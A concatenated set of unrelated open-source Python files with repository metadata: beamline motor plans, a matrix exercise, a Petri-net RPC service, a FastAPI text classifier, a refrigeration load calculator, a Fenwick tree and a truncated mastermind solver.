limit_position(cur_usu, cur_dsu, us_u, ds_u)\n yield pu.us_upper, target\n else:\n done_count += 1\n\n # MOVE THE DOWNSTREAM UPPER\n cur_usu = pu.us_upper.position\n cur_dsu = pu.ds_upper.position\n if abs(cur_dsu - ds_u) > TARGET_THRESH:\n target = limit_position(cur_dsu, cur_usu, ds_u, us_u)\n yield pu.ds_upper, target\n else:\n done_count += 1\n\n # MOVE THE UPSTREAM lower\n cur_usl = pu.us_lower.position\n cur_dsl = pu.ds_lower.position\n if abs(cur_usl - us_l) > TARGET_THRESH:\n target = limit_position(cur_usl, cur_dsl, us_l, ds_l)\n yield pu.us_lower, target\n else:\n done_count += 1\n\n # MOVE THE DOWNSTREAM lower\n cur_usl = pu.us_lower.position\n cur_dsl = pu.ds_lower.position\n if abs(cur_dsl - ds_l) > TARGET_THRESH:\n target = limit_position(cur_dsl, cur_usl, ds_l, us_l)\n yield pu.ds_lower, target\n else:\n done_count += 1\n\n if done_count == 4:\n return\n\n yield from open_run()\n yield from trigger_and_read([pu] + other_dets)\n for mot, target in traj(pu):\n print(\"About to move {} to {}\".format(mot.name, target))\n # yield Msg('checkpoint', None)\n # yield Msg('pause', None)\n # yield Msg('clear_checkpoint', None)\n st = yield Msg('set', mot, target, timeout=None)\n # move the motor\n # speed is mm / s measured on us lower 2016-06-02\n # timeout is 3 * max_crab / speed\n fail_time = ttime.time() + (TILT_LIMIT / .0003) * 4\n while not st.done:\n yield from trigger_and_read([pu] + other_dets)\n if ttime.time() > fail_time:\n mot.stop()\n raise RuntimeError(\"Undulator move timed out\")\n yield Msg('checkpoint')\n yield Msg('sleep', None, 1)\n\n if st.error > .002:\n raise RuntimeError(\"only got with in {} of target {}\".\n format(st.error, st.target))\n yield Msg('checkpoint')\n for j in range(2):\n yield Msg('sleep', None, 1)\n yield from trigger_and_read([pu] + other_dets)\n yield Msg('checkpoint')\n yield from close_run()\n\n\ndef play():\n '''Example of how to make a composite 'master' plan\n '''\n for a in [6.46, 6.47, 6.48]:\n yield from ud_crab_plan(pu, a, 6.46, 6.46, 6.46, [ut])\n yield from EnergyPlan()\n\nname_cycle = (cycler('d', ['pu']) * cycler('end', ['us', 'ds']) * \n cycler('side', ['upper', 'lower']) * \n cycler('read', ['readback', 'moving']))\nlt = LiveTable(['{d}_{end}_{side}_{read}'.format(**_p) for _p in name_cycle], \n print_header_interval=15)\n\n# gs.RE(play())\n#\n","repo_name":"NSLS-II-SRX/ipython_ophyd","sub_path":"profile_xf05id1/startup/11-secret_undulator.py","file_name":"11-secret_undulator.py","file_ext":"py","file_size_in_byte":14453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34581507822","text":"\"\"\"Дана целочисленная матрица A ( 3 × 3 ). Элементы каждой строки матрицы\nподелить на максимальный элемент данной строки. На печать выдавать 1) исходную\nматрицу; 2) вектор-столбец максимальных элементов кажд��й строки; 3) преобразованную матрицу.\"\"\"\nimport random\n\n\ndef transformation(mrx):\n listMax = []\n for i in range(len(mrx)):\n maxElem = max(mrx[i])\n for j in range(len(mrx[i])):\n mrx[i][j] /= maxElem\n listMax.append(maxElem)\n return listMax\n\n\nn = 3\nrandom.seed()\nmatrix = [[random.randint(-10, 10) for i in range(n)] for j in range(n)]\nprint(\"Исходная матрица: \")\nfor i in range(n):\n print(matrix[i])\nmaxElems = transformation(matrix)\nprint(\"Максимальные элементы: \", maxElems)\nprint(\"Преобразованная матрица: \")\nfor i in range(n):\n print(matrix[i])\n","repo_name":"AnzhelikaD/PythonLabs","sub_path":"Davidenko_10_9.py","file_name":"Davidenko_10_9.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2812737023","text":"\"\"\"https://i.imgur.com/Dlve8rJ.png\"\"\"\n\nimport random\nfrom time import sleep\n\nfrom oscilloscope import Osc\n\n\n# turn on normalization\nosc = Osc(normalize=True)\n\n\n@osc.signal\ndef increasing_signal(state):\n delta = 1\n\n while True:\n state.draw(random.randint(-delta, delta))\n delta += 5\n sleep(0.01)\n\n\nosc.start()\n","repo_name":"scientifichackers/oscilloscope","sub_path":"examples/normalized.py","file_name":"normalized.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"21"} +{"seq_id":"6989981538","text":"import json\nimport time\nfrom threading import Thread\n\nimport pm4py\nimport redis\nfrom nameko.rpc import rpc\n\nfrom poc_config import *\n\ndatabase = redis.Redis(OBJECT_DATAFRAME_HOSTNAME, db=OBJECT_DATAFRAME_ID)\nregistry = redis.Redis(REGISTRY_DATAFRAME_HOSTNAME, db=REGISTRY_DATAFRAME_ID)\n\n\nclass PetriNetSvgViewer(object):\n name = \"petri_net_svg_viewer\"\n\n @rpc\n def petri_net_svg(self, id):\n petri_string = database.get(id).decode(\"utf-8\")\n net, im, fm = pm4py.objects.petri.importer.variants.pnml.import_petri_from_string(petri_string)\n gviz = pm4py.visualization.petrinet.visualizer.apply(net, im, fm, parameters={\"format\": \"svg\"})\n render = gviz.render(cleanup=True)\n F = open(render, \"r\")\n content = F.read()\n F.close()\n return content\n\n\nclass ServiceRegister(Thread):\n def __init__(self):\n self.registry = redis.Redis(\"localhost\", db=1)\n Thread.__init__(self)\n\n def run(self):\n while True:\n self.registry.set(\"petri_net_svg_viewer.petri_net_svg\", json.dumps(\n {\"name\": \"Visualize the Accepting Petri Net\", \"input\": \"AcceptingPetriNet\", \"output\": \".svg\",\n \"type\": \"visualizer\"}))\n self.registry.expire(\"petri_net_svg_viewer.petri_net_svg\", 20)\n time.sleep(10)\n\n\ns = ServiceRegister()\ns.start()\n","repo_name":"Javert899/poc-nameko-pm4py","sub_path":"get_petri_net_svg.py","file_name":"get_petri_net_svg.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31418893650","text":"from decimal import Decimal\n\nt = 5.\n\nfor i in range(50):\n t = t - 0.1\n\nprint('Float:', t)\n\nt = Decimal('5.')\n\nfor i in range(50):\n t = t - Decimal('0.1')\n\nprint('Decimal:', t)\n","repo_name":"ramalho/python-para-desenvolvedores","sub_path":"07-bib-padrão/p69.py","file_name":"p69.py","file_ext":"py","file_size_in_byte":182,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12354538334","text":"import json\nfrom pathlib import Path\n\nimport torch\nimport torch.nn.functional as F\nfrom fastapi import Depends, FastAPI\nfrom pydantic import BaseModel\n\nfrom model_training_process.main import PRE_TRAINED_MODEL_NAME, MAX_LEN, TOKENIZER\nfrom model_training_process.tripadviser_classifier import TripAdvisorClassifier\n\n\nclass Predictor:\n def __init__(self):\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n self.tokenizer = TOKENIZER\n\n classifier = TripAdvisorClassifier(6, PRE_TRAINED_MODEL_NAME)\n classifier.load_state_dict(\n torch.load(Path('.') / 'model_training_process' / 'best_model_state.bin', map_location=self.device)\n )\n classifier = classifier.eval()\n self.classifier = classifier.to(self.device)\n\n def predict(self, text):\n encoded_text = self.tokenizer.encode_plus(\n text.lower(),\n max_length=MAX_LEN,\n truncation=True,\n padding='max_length',\n add_special_tokens=True,\n return_token_type_ids=False,\n return_attention_mask=True,\n return_tensors='pt',\n )\n input_ids = encoded_text[\"input_ids\"].to(self.device)\n attention_mask = encoded_text[\"attention_mask\"].to(self.device)\n\n with torch.no_grad():\n probabilities = F.softmax(self.classifier(input_ids, attention_mask), dim=1)\n confidence, predicted_class = torch.max(probabilities, dim=1)\n return {\n 'predicted_class': predicted_class.cpu().item(),\n 'confidence': confidence.cpu().item() * 100,\n }\n\n\napp = FastAPI()\n\n\nclass Request(BaseModel):\n text: str\n\n\nclass Response(BaseModel):\n response: dict\n\n\ndef get_model():\n return Predictor()\n\n\n@app.post(\"/predict\", response_model=Response)\nasync def predict(request: Request, model: Predictor = Depends(get_model)):\n response = model.predict(request.text)\n print(response)\n return Response(\n response=response\n )\n","repo_name":"Alexey-Samodurov/mipt_ml_final","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25334097505","text":"import pandas as pd\nimport os\n\n# Calculo de carga térmica de refrigeração\n\n####### Varíaveis de entrada #######\n\ncidade = 'Porto Alegre, RS'\n\nproduto = 'Bacon, congelado'\n\ntemp_inicial = 20\n\ntempo_analise = 4 #horas\n\ndim_larg_sul = 20 # m\n\ndim_comp_leste = 20 # m\n\ndim_alt = 8.5 # m\n\ncor_parede = 'Media'\n\nv_vento_ext = 6 # m/s\n\nv_vento_int = 0.6 # m/s\n\nisolamento = 'Poliisocianureto'\n\nm_piso = ['Concreto', 'Concreto']\n\ne_piso = [0.06, 0.20] # cm\n\nt_solo = 15 # C\n\n# parede_ensol = ['N', 'O']\n\nq_iluminacao = 10 #W/m2\n\nn_pessoas = 16\n\nh_porta = 2 #m\n\nl_porta = 0.9 #m\n\nP_porta, T_porta, T_porta_min = 30, 25, 750\n\n# variáveis que saíram de listas no futuro\ncpr = 3.49\ncpc = 2.14\nhc = 233\ndensidade_produto = 145 #kg/m3\ntc = -2.2\npr = 1.39 #densidade do ar refrigerado\npi = 1.11 #densidade do ar de infiltração\nentalpia_infiltracao = 94\nentalpia_refrigerado = -19\n\n### DICT/TABS ###\ncur_dir = os.getcwd()\npath = os.path.join(cur_dir, 'Tabelas_Dados_Termicos.xls')\ncidades = pd.read_excel(path, 'Cidades')\ncidades.set_index('Cidade', inplace = True)\n\nalimentos = pd.read_excel(path, 'Alimentos')\nalimentos.set_index('Produto', inplace = True)\n\nt_prod_estoc = alimentos.loc[produto]['T Estoc']\ntemp_ext = cidades.loc[cidade]['tbs']\nprod_ur = alimentos.loc[produto]['UR']\n\nm_isolantes = ['Poliuretano em placa', 'Poliisocianureto', 'Poliestireno extrudado', 'Poliestireno expandido',\n 'Cortica', 'Fibra de vidro', 'Concreto']\n\ncond_termica_k = [0.025, 0.027, 0.035, 0.037, 0.043, 0.044, 2]\n\ncoef_k_materiais = dict(zip(m_isolantes, cond_termica_k))\n\ntemp_estoc = [-40, -26, -9, 4]\n\nesp_isol = [0.125, 0.100, 0.075, 0.050]\n\nparedes_cor = ['Escura', 'Media', 'Clara']\n\nparedes_valores = [[5, 3, 5, 11], [4, 3, 4, 9], [3, 2, 3, 5]]\n\ncoef_paredes = dict(zip(paredes_cor, paredes_valores))\n\n########### FUNC ##########\n\ndef esp_min(t):\n \"\"\" Define a espessura mínima para o isolamento em mm\"\"\"\n if t < temp_estoc[0]:\n return esp_isol[0]\n elif t > temp_estoc[-1]:\n return esp_isol[-1]\n else:\n for i in range(1, len(temp_estoc)):\n if t < temp_estoc[i]:\n return esp_isol[i - 1]\n#(m_piso, e_piso,\n# coef_k_materiais[isolamento], esp_isolamento, coef_calor_conv_int)\ndef coef_transf_piso(d_mat_piso, d_e_piso, d_mat_isol, d_e_isol, d_hi):\n \"\"\"Calcula o coeficiente de transferencia do piso\"\"\"\n U_piso = 0\n for i, j in zip(d_e_piso, d_mat_piso):\n U_piso += i / coef_k_materiais[j]\n U_piso += d_e_isol / d_mat_isol\n U_piso += 1 / d_hi\n return U_piso\n\n##### CALC #####\n### 1 - Carga de transmissão\n\ncoef_calor_conv_ext = 8.7 + 3.8 * v_vento_ext #W/m2k\n\ncoef_calor_conv_int = 8.7 + 3.8 * v_vento_int #W/m2k\n\nesp_isolamento = esp_min(t_prod_estoc)\n\nU_paredes = 1 / coef_calor_conv_int\nU_paredes += esp_isolamento / coef_k_materiais[isolamento]\nU_paredes += 1 / coef_calor_conv_ext\n\ndelta_temperatura = temp_ext - t_prod_estoc\n\nQ_Sul = U_paredes * dim_larg_sul * dim_alt * delta_temperatura\nQ_Norte = U_paredes * dim_larg_sul * dim_alt * (delta_temperatura + coef_paredes[cor_parede][1])\nQ_Oeste = U_paredes * dim_comp_leste * dim_alt * (delta_temperatura + coef_paredes[cor_parede][2])\n#Verifica se a parede leste se repete\nQ_Forro = U_paredes * dim_comp_leste * dim_larg_sul * (delta_temperatura + coef_paredes[cor_parede][3])\nU_Piso = coef_transf_piso(m_piso, e_piso, coef_k_materiais[isolamento], esp_isolamento, coef_calor_conv_int)\nQ_Piso = U_Piso * dim_comp_leste * dim_larg_sul * (delta_temperatura)\n\n### 2 - Carga do produto\n\n# Considerando desconto de 30% no volume para circulação de máquinas e pessoal\nvolume_camara = dim_larg_sul * dim_comp_leste * dim_alt #m3\nvolume_util_cam = 0.7 * volume_camara\n\nmassa_produto = densidade_produto * volume_util_cam #kg\n\nQ2 = massa_produto * cpr * (temp_inicial - tc) #kJ\nQ3 = massa_produto * hc #kJ\nQ4 = massa_produto * cpc * (tc - t_prod_estoc)\nQ_Total = (Q2 + Q3 + Q4) / (3600 * tempo_analise)\n### 3 - Carga interna\n\nQ_Iluminacao = dim_comp_leste * dim_larg_sul * q_iluminacao\n\nQ_Pessoas = n_pessoas * (272 - 6 * t_prod_estoc)\n### 4 - Carga de infiltração\n\nFm = (2 / (1+ (pr / pi)**(1 / 3))) ** 1.5\nu_est = 0.442 * Fm * ((pr - pi) * 9.81 * h_porta / pr) ** 0.5\nQ_Sen_Lat = h_porta * l_porta * 0.5 * (entalpia_infiltracao - entalpia_refrigerado) * pr * u_est\nDt = (P_porta * T_porta + 60 * T_porta_min) / (3600 * tempo_analise)\nQ_Infiltracao = Q_Sen_Lat * Dt * 1000\n\n### Resultado\n\nCarga_Termica_Refrigeracao = Q_Sul + Q_Norte + Q_Oeste + Q_Piso + Q_Forro\nCarga_Termica_Refrigeracao += Q_Total\nCarga_Termica_Refrigeracao += Q_Iluminacao + Q_Pessoas\nCarga_Termica_Refrigeracao += Q_Infiltracao\n\n################### DEBUG ##############################\n\n# print(coef_k_materiais[isolamento], 'W/mk')\n\n# print('coef transmissao externo {0:.2f} W/m2k'.format(coef_calor_conv_ext))\n\n# print('coef transmissao interno {0:.2f} W/m2k'.format(coef_calor_conv_int))\n\n# print('A espessura mínima para a temp de -20C é', esp_min(t_prod_estoc), 'm')\n\n# print('Coeficiente global de transferência de calor U para paredes, pisos e forros, {0:.2f} W/m2k'.format(U_paredes))\n\n# print('Parede sul {0:.2f} W'.format(Q_Sul))\n\n# print('Parede norte {0:.2f} W'.format(Q_Norte))\n\n# print('Parede oeste/leste {0:.2f} W'.format(Q_Oeste))\n\n# print('Forro {0:.2f}W'.format(Q_Forro))\n\n# print('Piso {0:.2f}W'.format(Q_Piso))\n\n# print('Volume total da camâra {0:.2f}m3'.format(volume_camara))\n#\n# print('Massa de produto na camara {0:.2f}kg'.format(massa_produto))\n\n# print('Calor removido para resfriar o produto até o ponto inicial de congelamento é {0:.2f}kJ'.format(Q2))\n\n# print('Calor removido para congelar o produto é {0:.2f}kJ'.format(Q3))\n\n# print('Calor removido para resfriar o produto até o temperatura de estocagem é {0:.2f}kJ'.format(Q4))\n\n# print('Potência total para resfriar o produto é {0:.2f}kJ'.format(Q_Total))\n\n#print('A potência dispersada pela iluminação é {0:.2f}W'.format(Q_Iluminacao))\n\n#print('A potência dispersada por pessoas é {0:.2f}W'.format(Q_Pessoas))\n\nprint('O calor sensível latente é de {0:.2f}kW'.format(Q_Sen_Lat))\n\n#print('O ganho de calor proporcionado pela porta é de {0:.2f}W'.format(Q_infiltracao))\n\n# print('A carga térmica de refrigeração para as condições fornecidas é de {0:.2f}W'.format(Carga_Termica_Refrigeracao))\n# print(cidades.loc[cidade]['tbs'])\n","repo_name":"PeterMoresco/RefriCalcSoft","sub_path":"old/Calculo_Carga_Termica.py","file_name":"Calculo_Carga_Termica.py","file_ext":"py","file_size_in_byte":6353,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71615745654","text":"lista = [1,5,2,6,5,8,4,3,6,8,8,3,2]\nn = len(lista)\n\nfenwick = [0] * (n+1)\n\ndef update(i, v):\n while i <= n:\n fenwick[i] += v\n i += i & -i\n\n# range update trick\n# update range [l,r] with +q\n# update(l, +q)\n# update(r+1, -q)\n\ndef getSum(i):\n sum = 0\n while i > 0:\n sum += fenwick[i]\n i = i & (i-1)\n\n return sum\n\ndef getSingle(i):\n val = fenwick[i]\n if i > 0:\n pai = i & (i-1)\n i -= 1\n while pai != i:\n val -= fenwick[i]\n i = i & (i-1)\n \n return val\n\nfor i,v in enumerate(lista):\n update(i+1,v)\n\nprint(getSum(n))\nupdate(1, 4)\nprint(getSum(n))\n","repo_name":"fernandozanutto/competitive_programming","sub_path":"algorithms/estruturas/fenwick tree.py","file_name":"fenwick tree.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"1463061897","text":"import sys\nfrom pathlib import Path\nfrom pdf2image import convert_from_path\n\npdf_path = sys.argv[1]\noutput_file_name = sys.argv[2]\npages = convert_from_path(str(pdf_path), 600)\n\nimage_dir = Path(\"data/tmp_image\")\nimage_dir.mkdir(parents=True, exist_ok=True)\n\nfor i, page in enumerate(pages):\n image_path = Path(image_dir, f\"{i+1:03}_{output_file_name}.jpeg\")\n page.save(str(image_path), \"JPEG\")\n","repo_name":"akikuno/diffpdf.sh","sub_path":"src/convert_pdf_to_image.py","file_name":"convert_pdf_to_image.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23993562906","text":"#!/usr/bin/env python\n\nimport inspect\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression, LogisticRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import KFold\n\nfrom feature_finder.plugins import plugins\nfrom feature_finder.utils import (root_mean_squared_error,\n accuracy,\n precision,\n recall,\n false_alarm)\n\n\nclass BaseModel:\n test_size = 0.2\n k_fold = 5\n\n def __init__(self, plugins=None):\n self.model = self.model_cls()\n self.plugins = plugins or []\n\n def select(self, data, y_column):\n \"\"\"Get the result of fitting the data on selectors.\"\"\"\n if self.plugins:\n data = self.customize(data)\n\n train, test = train_test_split(data, test_size=self.test_size)\n x_train = train.drop(y_column, axis=1)\n y_train = train[y_column]\n x_test = test.drop(y_column, axis=1)\n y_test = test[y_column]\n\n return {c: self.get_feature_error(c, x_train, y_train, x_test, y_test)\n for c in x_train.columns}\n\n def get_feature_error(self, c, x_train, y_train, x_test, y_test):\n self.model.fit(np.array(x_train[c]).reshape(-1, 1), y_train)\n predicted = self.model.predict(np.array(x_test[c]).reshape(-1, 1))\n return self.__class__.error(y_test, predicted)\n\n def customize(self, data):\n \"\"\"Apply plugins.\"\"\"\n plugins_functions = [\n obj for name, obj in inspect.getmembers(plugins)\n if inspect.isfunction(obj) and name in self.plugins\n ]\n for fn in plugins_functions:\n try:\n data = fn(data)\n except Exception:\n raise plugins.PluginException(\n 'Error with plugin \"{}\".'.format(fn.__name__))\n return data\n\n\nclass LinearRegressionModel(BaseModel):\n model_cls = LinearRegression\n error = root_mean_squared_error\n best_selector = 0\n\n\nclass LogisticRegressionModel(BaseModel):\n model_cls = LogisticRegression\n error = accuracy\n best_selector = -1\n\n\nMODELS = {'linear': LinearRegressionModel, 'logistic': LogisticRegressionModel}\n\n\ndef get_model(name, plugins):\n if name not in MODELS:\n raise ValueError(\n \"Please specify one of the following model types: {}.\"\n .format(', '.join(MODELS.keys())))\n return MODELS[name](plugins)\n\n\ndef validate(data, header, y):\n if header:\n assert y in data.columns, 'Requested y-column not found in CSV ({})'.format(y)\n else:\n try:\n y = int(y)\n assert y in data.columns, 'Requested y index position not found in CSV ({})'.format(y)\n except (TypeError, ValueError) as exc:\n print('Error parsing index position of CSV ({})'.format(y))\n raise exc\n\n\ndef setup_data(data_csv, header, y):\n try:\n data = pd.read_csv(data_csv, header=(header or None))\n y = y if header else int(y)\n except Exception as exc:\n print('Error reading CSV: {}.'.format(exc))\n exit(1)\n else:\n validate(data, header, y)\n return data, y\n\n\ndef print_stats(results, model_type):\n \"\"\"Prints the error for the model's features.\"\"\"\n features = sorted(results.values())\n row_format = '{:<15} {:^15}'\n formatted_result_type = MODELS[model_type].error.__name__.replace('_', ' ').title()\n print(row_format.format('Column', formatted_result_type))\n for column, error in results.items():\n print(row_format.format(\n str(column) + '*' if results[column] == features[MODELS[model_type].best_selector]\n else str(column),\n round(error, 2)))\n","repo_name":"clnoll/feature-finder","sub_path":"feature_finder/find_features.py","file_name":"find_features.py","file_ext":"py","file_size_in_byte":3804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35493261975","text":"from timer_py import timer\nfrom tree_drawer import tree_drawer\nimport time,math\n\ndef flatten(t):\n return [i for sublist in t for i in sublist]\n\ndef unique(t):\n return [x for (i,x) in enumerate(t) if x not in t[:i]]\n\ndef map_(f,li):\n return [f(x) for x in li]\n\ndef average(t):\n return sum(t)/len(t)\n\ndef make_of_length(length,colours):\n if not length:\n return [\"\"]\n return [str(i)+val for val in make_of_length(length-1,colours) for i in range(colours)]\n\n return [[i]+val for val in make_of_length(length-1,colours) for i in range(colours)]\n\ndef m_all(letters=\"abcd\",to_go=4,so_far=\"\"):\n if not to_go:\n return [so_far]\n a = m_all(letters,to_go-1,so_far+letters[0])\n b = m_all(letters[1:],to_go-1,so_far+letters[0]) if len(letters)>1 and to_go!=1 else []\n return a+b\n\nclass mm_solver:\n def __init__(self):\n self.resp_grid = {}\n self.length = 4\n self.colours = 6\n self.size = self.colours**self.length\n self.populated = False\n self.guess_map = {}\n\n def enc_state(self,s):\n return \"\".join(sorted(s))\n def uenc_state(self,s):\n return [s[i:i+self.length] for i in range(0,len(s),self.length)]\n \n def populate_resps(self):\n guesses = make_of_length(self.length,self.colours)\n \n for i in range(self.size):\n for j in range(i,self.size):\n g1,g2 = guesses[i],guesses[j]\n self.resp_grid[g1+g2 if g1